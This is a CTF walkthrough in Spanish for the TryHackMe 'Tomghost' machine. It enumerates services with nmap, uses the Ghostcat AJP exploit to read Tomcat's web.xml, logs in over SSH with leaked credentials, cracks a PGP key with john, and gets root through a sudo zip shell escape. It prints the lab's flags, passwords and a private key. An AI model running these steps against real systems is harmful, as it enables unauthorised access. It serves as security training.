

Tomghost



15/05/2022

Enumeration

Whatweb

```
whatweb 10.10.138.0
```

ERROR Opening: http://10.10.138.0 - Connection refused - connect(2) for "10.10.204.18" port 80

no se encontro algun puerto 80

WhichSystem.py

mediante el tty, sabemos que es una maquina Linux

```
whichSystem.py 10.10.138.0
```

10.10.138.0 (ttl -> 61): Linux

nmap

```
sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.138.0
```

```
22/tcp open  ssh      syn-ack ttl 61
53/tcp open  domain  syn-ack ttl 61
8009/tcp open  ajp13    syn-ack ttl 61
8080/tcp open  http-proxy syn-ack ttl 61
```

descubrimos cuatro puertos

lanzaremos scripts basicos de reconocimiento y detectar la version

```
sudo nmap -sC -sV -p22,53,8009,8080 10.10.138.0
```

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
| 256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_ 256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
53/tcp    open  tcpwrapped
8009/tcp  open  ajp13     Apache Jserv (Protocol v1.3)
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp  open  http      Apache Tomcat 9.0.30
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.30
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

encontramos el puerto 8009 Apache Jserv (Protocol v1.3)

encontramos la version de apache Tomcat 9.0.30

ademas de esto lanzaremos un reconocimiento de vulnerabilidades

```
sudo nmap --script=vuln -p22,53,8009,8080 10.10.138.0
```

```
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
8009/tcp  open  ajp13
8080/tcp  open  http-proxy
| http-enum:
|   /examples/: Sample scripts
|_  /docs/: Potentially interesting folder
```

Nmap done: 1 IP address (1 host up) scanned in 481.28 seconds

podemos encontrar algun tipo de archivos potenciales en el puerto 8080
ingresamos y no encontramos nada

ingresamos a la pagina y nos dice lo siguiente:

```
http://10.10.138.0:8080
```

buscamos una vulnerabilidad en Apache Jserv (Protocol v1.3)

```
searchsploit "Apache Tomcat - AJP 'Ghostcat File Read/Inclusion"
```

encontramos este exploit que puede leer archivos
Apache Tomcat - AJP 'Ghostcat File Read/Inclusion
| multiple/webapps/48143.py

Exploit

Ejecutamos el exploit

```
python2 48143.py 10.10.138.0
```

Getting resource at ajp13://10.10.138.0:8009/asdf

```
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
    http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  version="4.0"
  metadata-complete="true">

  <display-name>Welcome to Tomcat</display-name>
  <description>
    Welcome to GhostCat
    skyfuck:8730281lkjldqksalks
  </description>

</web-app>
```

encontramos un usuario con lo que puede ser su password

SSH

por lo que ahora tratamos de ingresar por medio de ssh

```
ssh skyfuck@10.10.138.0 -p 22
```

password:8730281lkjldqksalks

Obteniendo acceso a usuario normal

veamos primero las carpetas de usuario que hay

```
cd /
ls
bin boot dev etc home initrd.img initrd.img.old lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old
cd home/
ls
merlin skyfuck
cd merlin/
ls
user.txt
cat user.txt
```

obetenemos la bandera
THM{GhostCat_1s_so_cr4sy}

inspeccionamos la carpeta skyfuck y encontramos dos archivos

ls

credential.pgp tryhackme.asc

Vemos los archivos

cat credential.pgp

aagtyS0d_0QsJD+f!

IOH';oN'uFP:0a5Šu=:OIO5J:EM,pťstrings cutie.png

cat tryhackme.asc

-----BEGIN PGP PRIVATE KEY BLOCK-----

Version: BCPG v1.63

IQUBBF5ocmIRADATWu9RL5uol6+jCnuoK58+PEtPh0Zfdj4+q8z61PL56tz6YxmF
3TxA9u2jV73qFdMr5EwktTXRIeO0LTGeMzZ9R/uqe+BeBUNCZW6tql7wDw/U1DEF
StRTV1+ZmgcAjjwzr2B6qplWHhyi9PIzefiw1smqSK31MBWGamkKp/vRB5xMoOr5
ZsFq67z/5KfngjhgKWeGKLw4wXPswyldmdnduWgpwBm4vTWlxPf1hxDkDRbAa3cFD
B0zktqArgROuSQ8sftGykS/uVtyna6qbF4ywND8P6BMPllsTKhn+r2KwLcihLtPk
V0K3Dfh+6bZeIVam50QgOAXqvetylyTt7PiCXbvOpQO3OIDgAZDLodoKdTzuaXLa
cuNXmg/wcRELmhiBsKYYCTFtZdF18Pd9cM0L0mVy/nfhQKFRGx9kQkHweXVt+Pbb
3AwfUyH+CZD5z74jO53N2gRNibUPdVune7pGQVtgjRrvhBiBJpajtzYG+PzBomOf
RGZzGSgWQgYg3McBALTITlmXgobn9kkJtn6UG/2Hg7T5QkxIZ7yQhPp+rOOhDACy
hloI89P7cUoeQhZkMwmDKpTMd6Q/dt+PeVAtI9w7TCPjISadp3GvwuFrQvROkYr
WAD6060AMqlv0vpkvCa471xOariGiSSUsQCQI/yZBNjHU+G44Plq+RvB5F5O1oAO
wgHjMBAyvCnmJEx4kBVVcoyGX40HptbyFJMqkPIXH5DMwEiUjBFbCvXYMrOrrAc
1ghQhO+IbKemIT/ppgoRimKy/XrbOc4dHBF0irCloHpvnm1ShWqT6i6E/leQZwqS
9GtdjdEpNZ32WGpeumBoKprMzz7RPPZPN0kbyDS6ThzhQjgBnQT9ZuPHF49zKwb
nJfOfq4GDhpfIKXdsx+xF09QyrYILNI61soYsC65hQrSyH3Oo+B46+lydd/sjs0
sdrSitHGpxZGT6osNFXjX9SXS9xbRnS9SAtI+ICLsnEhMg0ytiuiHPWfzak0gVYuy
RzWDonT3s6laFm+KFcbYg08fekheLXt6412iXK/rtdgePEJfByH+7rfxygdNrcML
/XI6OoQqQb6aXe7+C8BK7IWC9kcXvZK2UXeGUXfQJ4Fj80hK9uCwCRgM0AdcBHh+
ECQ8dxop1DtYBANyjU2MojTh88vPDxC3i/eXav11YyxpUwUs7NYPuTtQmGpVCl
D5jxuFuaQa3hZ/ rayuPorDAspFs4iVKzR+GSN+IRYAys8pDbq+Rk8WS3q8NEauNh
d07D0gkSm/P3ewH+D9w1IYNQGYDB++PGLe0Tes275ZLPjlnzAUjIgaQTUxg2/2NX
Z7h9+x+7neyV0lo8H7aPvDDx/AotTwFr0vK5RdgaCLT1qrF9MHpKukVHL3jkozMI
DCI4On25eBBZEccBQfrQYUdnhy7DhSY3TaN4gQMNYeHBahgplhLpccFKTxPjiQ5
8/RW7fF/SX6NN84WVcdrtbOxvif6tWN6W3AAHnyUks4v3AfVaSXlBjMME9aril4
aqCFd8GZzRC2FApSVZPQqWZWYqpzq4aXesh7KzRWdq3wsQLwCznKQrayZRqDCTSE
Ef4JAwLI8nfS+vl0gGAMmdXa6CFvIVW6Kr/McfGyT7j9XzJUPj4kVvnmr4kdsYr
vSht7Q4En4htMtK56wb0gul3DHEKvCKD8e1wr2/MlvVgh2C+tCF0cnloYWNrbWUg
PHN0dXhuZXRAdHJ5aGFja21lLnNvbT6lXgQTEQoABgUCXmhyYgAKCRCPaPexnBx
cfBNAP9T2iXsmHSSo4MSfVeNI53DShijoNwCxQRiV2FKAfvulwEAnSplHzpTziUU
7GqZAApEthfqlPQ4BgZTDEW+CD9tNuydAcAEXmhyYhAEAP/////////yQ/aoiFo
wjTExmKLgNwc0SkCTgikZ8x0Agu+pjsTmyJRSgh5jjQE3e+VGbPNOkMbMCsKbJf
FDdP4TVtbVHCResFtXZIXn7G9ExC6aY37WsL/1y29Aa37e44a/taiZ+Irp8kEXxL
H+ZJKGRZ7OZTgf/////////AAICA/9I+iaF1JFJMOBrIvH/BPbfKczlAIJSKxLV
90kq4Sc1orioN1omcbl2jLjiPM1VnqmxmHbr8xts4rrQY1QPIAcoZNIAIIYfogcj
YEF6L5YBy30dXFaxGOQgf9DUoafVtiEJtt4m/3rcrISIXmIK51syEj5opTPsJ4g
zNMEDPu0PP4JAwLI8nfS+vl0gGDeKsYkGixp4UPHQFz+zZVnRzifCJ/uVlyAHcvb
u2HLEF6CDG43B97BVD36JixByu30pSM+A+qD5Nj34bhvetyBQNIUE9YR2YlyXf/R
aKUz7CelMzTHgz7tDylXgQYEQoABgUCXmhyYgAKCRCPaPexnBxcDsBAP9wsMYZ
AKICbtMLnrDy3kl9+8YjJmyV9pJ2ycv4w+IPYgEAs0g4rLw7W41INodxFK+iKNbW
kG6wLdznOpe4zaLA/vM=
=dMrv
-----END PGP PRIVATE KEY BLOCK-----

encontramos este archivo donde es una clave PGP

John the ripper

pasamos el archivo tryhackme a un formato hash

```
gpg2john tryhackme.asc > hash
```

craqueamos el hash

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

```
john --show hash
```

```
tryhackme:alexandru::tryhackme <stuxnet@tryhackme.com>::tryhackme.asc
```

encontramos el password **alexandru**

gpg

ahora desencriptamos el archivo credential.pgp

```
gpg --decrypt credential.pgp
```

```
merlin:asuyusdoiukoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j
```

Encontramos credenciales, por lo que ahora accedemos mediante ssh

```
ssh merlin@10.10.138.0 -p 22
```

```
password:asuyusdoiukoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j
```

tenemos exito

Explotation

ahora buscamos algun tipo de escalada de privilegios
encontramos otro usuario

ejecutando el siguiente comando podemos escalar privilegios

```
sudo -l
```

Matching Defaults entries for merlin on ubuntu:

```
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
```

User merlin may run the following commands on ubuntu:

```
(root : root) NOPASSWD: /usr/bin/zip
```

Obteniendo acceso a usuario root

ejecutamos la escalada de privilegio con zip

```
TF=$(mktemp -u)  
sudo zip $TF /etc/hosts -T -TT 'sh #'  
sudo rm $TF
```

```
# whoami  
root
```

```
cd /  
cd root  
ls  
root.txt  
cat root.txt  
obtenemos la bandera  
THM{Z1P_1S_FAKE}
```